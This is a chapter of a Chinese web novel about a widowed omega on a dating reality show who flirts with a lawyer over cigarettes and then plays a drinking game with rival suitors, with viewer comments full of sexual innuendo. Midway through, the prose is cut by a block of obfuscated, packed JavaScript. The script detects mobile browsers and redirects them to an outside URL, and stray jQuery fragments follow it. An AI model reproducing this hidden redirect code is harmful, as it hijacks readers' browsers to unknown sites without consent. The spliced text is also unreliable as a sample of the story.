季修则走上前,外表上看还是一如既往的冷静,声音也没太多波澜。
“沈先生叫我过来,就是为了让我陪你抽烟?”
听见他一本正经地叫自己“沈先生”,沈栖眼里的笑意更深了,低头从烟盒里取出一支给他。
季修则眉头微拧,沈栖用的可不是什么敬烟的姿势,手指随意夹着递过来,倒像在施舍人。
但他还是接过来点上了,不知沈栖怎么看出他平时抽烟的,比起这个,他更意外的是:
“没想到你会抽烟。”
沈栖语调轻缓:“我会的还有很多。”
毫不遮掩的调情意味,让季修则眉心又锁紧了些,这个距离他看清了沈栖夹着烟的手,手背上指印交错,显然是被人反复把玩出的。
季修则薄唇吐出烟圈,清凉的味道萦绕在呼吸间。
“你不是说讨厌薄荷味么。”季修则讽刺地开口,“为什么抽这个味道的烟?”
说完他就自觉失言,沈栖已经微微睁大了眼睛:“原来你这么关注我,还偷听我和别人说话。”
季修则正色道:“我就在你们背后做饭,即使不想听也躲不过。”
“好吧。”沈栖继续说,“就是因为不喜欢这味道,所以才不会对它上瘾,你不也是么。”
季修则冷静地看着他。
“你应该会故意选那种很烈的烟吧,规定自己只有压力很大的时候才能抽,数量也是固定的。”
季修则眼神忽然一顿。
沈栖接着评价:“那和你上床的话,也会很无聊啊。”
季修则脸色刷地沉下去:“沈先生不用有顾虑,这种事是不可能发生的。”
“也是。”沈栖道,“你只喜欢纯洁的处男。”
季修则眼底的火光终于按不住了:“你让我来就是为了挖苦我?”
沈栖感受着他的怒意,又抽了口薄荷味的凉烟,更加神清气爽了。
他在真人CS游戏后,感觉身体里有股挥之不去的燥热,估计是激素在运动后更不稳定了,所以才让明颂去给他买几包烟。
在他刚分化成Omega那会儿,别说抑制针这种高级产品,连药都没得吃。
难受的时候他就抽烟,用辛辣的刺激感麻痹自己,大多是便宜货,偶尔打工的地方会有顾客落下的好烟,好在年纪小身体新,也没出过什么问题。
想一下他已经有好多年没抽过烟了,点火的一瞬间,仿佛又回到那张湿透的破床上,听见自己咬死在牙齿间的呻吟声。
现在看见季修则抑制不住怒火的样子,他脱离掌控的烦躁好像转移到了对方身上,整个人都舒服多了。
沈栖冲他弯了下唇:“其实我是有法律问题要咨询。”
“什么?”季修则有些意外。
沈栖看进他眼里:“我觉得我的丈夫并没有死。”
季修则一本正经地说:“这是精神问题。”
沈栖莫名被他逗笑了,垂落的睫毛轻颤,手里的烟也跟着抖,火星簌簌地飘。
季修则皱眉,默默等待他笑完。
沈栖再次抬起眼,眼神亮晶晶的:“就当他真从地下爬回来了嘛,我继承的遗产要还给他吗?如果他又死了,之前的遗嘱还作不作数?”
季修则没遇见过这种异想天开的客户,耐着性子解释:“由法律程序宣告死亡之后,你们的婚姻关系就终止了,不管他后面是死是活,都和你没有关系。”
“这样啊。”沈栖有点遗憾。
季修则完全不懂他脑子里在想什么,露出这种天真又可怕的表情。
沈栖又说:“其实我是问着玩的。”
季修则:“……”
“我叫你是因为看到你习惯性去口袋里摸烟,摸空的表情有点好笑。”
季修则眸光一沉,因为直播节目禁烟他就没带,但动作是下意识的,竟会被沈栖注意到。
沈栖转了个身,手臂搁在窗台上,撑起下巴看他:“我觉得你压力也很大,而且,做坏事总要拉个共犯才安全。”
“是么。”
季修则想,这就是沈栖勾引人的招数了,制造两人联系紧密的错觉,说些模糊的话。
就像律所外面那只猫,故意在人的必经之路上横穿,谁都觉得是碰巧遇见,再一问发现每个人都喂过它。
想到这,猫尾巴一样的触感突然扫过他的手,让他全身肌肉瞬间绷紧。
季修则低头一看,原来是沈栖的长发被风吹起来,缓缓地扫着他的手背,一下一下,柔软又冰凉。
头发的主人毫无察觉,已经没再看他,目光转向远处漆黑的森林,正旁若无人地走神,纤长的睫毛浸在雾里,半晌才晃一下。
淡淡的烟味缠绕着他身上的香气,渗透在晚风里。
一时间季修则竟无法判断,现在这幅有些孤独的模样,是沈栖放松时的真实状态,还是另一幅假面。
他那句“没事我走了”咽了回去,拿起沈栖放在窗台上那包很没劲的烟,点燃一支含在嘴里。
回忆后他才发现一件很惊悚的事,自己在这个节目每次有抽烟的冲动,都是在和沈栖有不必要的接触之后。
比如现在。
因为切断了观众们最想看的频道,节目组为了维持收视率,紧急给剩下四个嘉宾安排了室外游戏环节。
院子里布置了星星灯,几个人围着一桌零食啤酒坐下,本来应该是很温馨的画面,却一点也不和谐。
玩的游戏是我有你没有。
池放说:“我拿过三次最佳男歌手。”
其他人面不改色地收起一根手指。
段青筑说:“我刚评上副教授。”
其他人面不改色地收起一根手指。
明颂说:“我得过世界冠军。”
其他人面不改色地收起一根手指。
时濯说:“我做的软件下载量破了一亿。”
其他人面不改色地收起一根手指。
……
几轮下来,无人幸存,但也没有人获胜。
桌子上的酒谁都没喝一口,别说有什么爆点了,甚至没有人笑一下。
观众们倒是笑得很开心。
【哈哈哈第一次见我有你没有玩的跟打仗一样。】
【毫无暧昧的气息,只有雄竞的决心。】
【用自己的长处痛击别人短处这一块(大拇指)】
【对了,说到长处,你们能不能介绍一下……】
【感觉他们也很想说,但这是可以播的吗?】
【现在说给谁听啊,沈栖还没下来呢。】
【怎么才过去五十分钟啊!离开沈栖才发现这节目有多难看。】
【天杀的我已经五十分钟没见我老婆了,快回来吧孩子一直哭。】
【季修则也没出来,到底在对小栖做什么!我早觉得他不像好人。】
【这可能就是哥几个火气这么旺的原因吧。】
游戏又过了一轮,四个人已经比完体力比经济实力,再比到你开坦克我开飞机,你在珠穆朗玛峰攀登,我在贝加尔湖冰潜。
气氛越来越焦灼时,沈栖和季修则终于从楼上下来,一起出现在直播画面中。
院子里的四个人不约而同看过去。
只见沈栖和往常一样神色平淡,但眼角眉梢有种满足后的慵懒。而季修则右手手背到小臂异常地泛着红,像被反复搓洗过,也像……被人挠了。
几个人眼神都变了,气氛变得更加微妙。
沈栖走过来时,段青筑和池放同时起身,分别往沙发左边和右边让出了位置。
结果变成两个空位,季修则也顺势坐了进去,突然被隔开的池放很不爽地轻嗤一声。
段青筑微笑看着沈栖坐到自己身边,除了对方身上原有的幽香,他闻到一丝若有若无的烟草香味。
沈栖一看就是不会抽烟的,那只能是蹭上了季修则身上的气味,要离多近才会这样?
段青筑和煦的神情也暗了下来,他自认和沈栖的关系与其他人不同,于是低声关切道:“刚才没发生不好的事情吧?”
“没有啊。”沈栖不解道。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487806|185715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
段青筑又说:“如果遇到让你反感的事,不管是谁,可以跟我说。”
沈栖配合地点头。
两人互动被对面的时濯尽收眼底,时濯冷硬地打断:“这游戏还要继续么?”
段青筑笑了下:“哦,这轮到谁先说了?”
“我。”明颂想了想,能说的都说得差不多了,于是道,“我没谈过恋爱。”
池放又轻蔑地嗤笑一声,心说目标来了就是不一样,立什么纯情人设。
很不巧,他也没有。
镜头扫了一圈,竟没有一个人收回手指,大家不由自主看向沈栖。
沈栖举着戴有婚戒的手,眼神里流露出一丝茫然:“直接结婚算恋爱么?”
“不算。”池放立即接话。
“嗯。”段青筑同意,“恋爱的定义应该看情感状态,而不是关系。”
观众也附议:
【包办婚姻当然不算谈恋爱。】
【演都不演了你们,当小三也可以是纯情初恋呢(大笑)】
【这么说我们小栖的初恋还在啊,看他们几个眼睛都亮了。】
【要是我能做老婆第一个爱上的人,第二天死了也值。】
【死之前记得买保险,受益人写沈栖知道了吗?】
这一圈结束,下一圈是池放讲。
池放靠着沙发,不经意开口:“我还是处男。”
不就是标榜自己很干净么,这方面他无可指摘,娱乐圈里那些花里胡哨的他看了就恶心,从来不屑于玩。
没想到绕了一圈,没人收起手指,打败了零个竞争对手。
只有沈栖默默把一根指头折进去了。
在场其他人眼神都微微变了,虽然知道沈栖和他丈夫是合法婚姻,这种事是自然而然的,但……
【嫉妒死了吧,眼红的要滴血了吧。】
【你们来得太晚了,人家结婚快两年,早就不知道多少次了。】
【这就是寡夫的美味之处(流口水),经验丰富的身体和寂寞的心……】
【感觉哥几个已经怒然大勃跃跃欲试了(大拇指),但你们这些处男伺候的明白吗?】
【没事小栖这么善良,一定会手把手教学的!(黄心)(黄心)(黄心)】
游戏又绕了几圈,大家都还剩下两根手指,沈栖只剩一根了。
正好轮到他发言了,他鸦羽般的睫毛垂下,思索道:“我喝过啤酒。”
其他人都愣了下,池放忍不住提醒:“这游戏不是这样玩的,啤酒谁没喝过。”
“是啊。”段青筑补充,“你得说我们都没有的经历才能赢。”
看着他左右逢源,季修则烦躁地想,又装出一副不谙世事的模样,骗得别人脑子不清醒围着他转。
但他知道沈栖此刻内心的表情,一定挂着妖冶而讥讽的笑。
下一个是段青筑,他想起刚才沈栖身上那丝烟味,开口道:“我抽过烟。”
季修则和池放没动,而没抽过的时濯和明颂收起一根指头。
沈栖也神色自若地弯下最后的手指,还往身边瞥了一眼。
季修则眉间拧起,明目张胆地说只有他能拆穿的谎言,就像被迫形成了隐秘的同盟,让他身上沾了灰一样难受。
“我好像输了。”沈栖后知后觉道,伸手要拿面前的酒杯。
一只大手却率先把酒杯按住了,所有人都将视线投向季修则。
季修则看着沈栖,灰蓝色的眼眸里不带任何情绪,像是要在镜头前说出他品性多么低劣,丈夫死后没几天就勾引人,故意说别人在床上没意思来刺激对方。
简直是个嘴里没有一句实话的骗子。
沈栖疑惑地和他对视,微偏着头,发丝泼墨般地从肩膀滑下来,看起来温柔又纯洁。
季修则喉结滚动:“我替你喝,就当偿还你的招待了。”
在大家惊讶的目光里,他仰头将杯子里的酒一饮而尽,放下时又对上沈栖含笑的眼神。
沈栖凑近他小声说:“谢谢,下次我会对你更好的。”